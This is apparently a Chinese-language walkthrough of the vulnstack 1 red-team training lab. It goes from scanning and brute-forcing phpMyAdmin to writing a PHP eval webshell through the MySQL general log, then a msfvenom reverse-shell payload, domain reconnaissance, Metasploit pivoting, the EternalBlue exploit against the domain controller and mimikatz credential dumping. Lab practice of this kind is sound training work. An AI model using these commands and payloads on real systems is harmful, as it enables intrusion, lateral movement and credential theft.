红日靶场一
本次测试的靶场是vulnstack 1(红队实战一)这个靶场,该靶场由红日安全团队提供,靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/,虚拟机所有统一密码:hongrisec@2019
网络拓扑图如下
win7(外网:192.168.122.6,内网:192.168.54.129),winserver2003(192.168.54.130),DC winserver2008(192.168.54.131)
win7是双网卡,一个用来向外网提供web服务,一个是通向内网
web渗透
对win7IP进行端口扫描
nmap 192.168.122.6 -T4 -sC -sV
可以看到80,3306,135,139,445等这些端口都开放了,使用御剑对80端口进行目录扫描
在80端口上开放了phpmyadmin服务
使用爆破工具对phpmyadmin进行爆破
爆破成功,用户名密码都是root
既然是root权限,那么则往该网站上写一句话木马上去来getshell,利用思路,在phpmyadmin中执行sql语句,会有日志产生,那么我们只需要把原来的日志文件路径改变到网站目录下,然后再SQL界面上执行一句话木马,那么该执行语句也会在对应的日志文件中产生。而后只需要用蚁剑连接网站目录下的日志文件即可
在变量中搜索general,查看日志状态,返回结果如下
当开启general log为on时,所执行的sql语句都会出现在stu1.log文件中。那么,如果修改generallogfile的值,那么所执行的sql语句就会对应生成对应的文件中,进而getshell。所以为了getshell,我们将general log设为on,将general log file设为C:/phpStudy/WWW/shell.php
通过执行查询语句将一句话木马插入到重新定义的日志文件shell.php中
SELECT '<?php eval($_POST["pass"]);?>'
可以看下靶机的shell.php,如下图,成功写入一句话木马
然后蚁剑连接,成功获取shell,还是管理员权限
内网渗透
先生成一个反弹shell,然后使用msf进行后续的内网渗透
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.122.13 LPORT=4444 -f exe > shell.exe
使用蚁剑上传,然后执行该exe程序,start shell.exe,可以看到msf已经回连成功了
拿下这台机器后,先进行信息收集,看能否用该机器作为跳板机进行内网渗透
ipconfig /all 查看本机ip,所在域
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
whoami
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享
dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)
使用ipconfig /all 判断是否存在域
可以看到存在GOD.org域
定位域控,使用nslookup -type=SRV _ldap._tcp命令
配置静态路由,为了进行内网横向移动
meterpreter > run get_local_subnets #查看网段/子网
meterpreter > run autoroute -s 192.168.54.0/24 #添加路由
meterpreter > run autoroute -p #查看路由
meterpreter > background #转入后台运行
使用msf自带netbios(auxiliary/scanner/netbios/nbname)扫描内存活机器,发现存活机器两台,地址分别为192.168.54.131和192.168.54.130,并且识别到了131机器就是域控
对存活主机进行端口扫描
msf5 > use auxiliary/scanner/portscan/tcp
msf5 > set rhosts xxx.xxx.xxx
msf5 > set ports 80,135-139,3306,3389
msf5 > run
对192.168.54.130进行端口扫描,发现445端口开启
对192.168.54.131进行端口扫描,同样发现445端口开启
利用ms17-010进行攻击
使用msf自带的ms17-010扫描模块对两个内网IP进行漏洞扫描
msf5 > search ms17-010
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.54.130
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
对192.168.54.131进行扫描,同样存在该漏洞。下面对漏洞进行利用
漏洞利用
msf5 auxiliary(admin/smb/ms17_010_command) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.54.131
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
使用mimikatz进行密码抓取
meterpreter > msv 获取的是hash值
meterpreter > ssp 获取的是明文信息
meterpreter > wdigest 读取内存中存放的账号密码明文信息
meterpreter > kerberos 读取内存中存放的账号密码明文信息
至此的话,已经拿到了域控的用户名密码。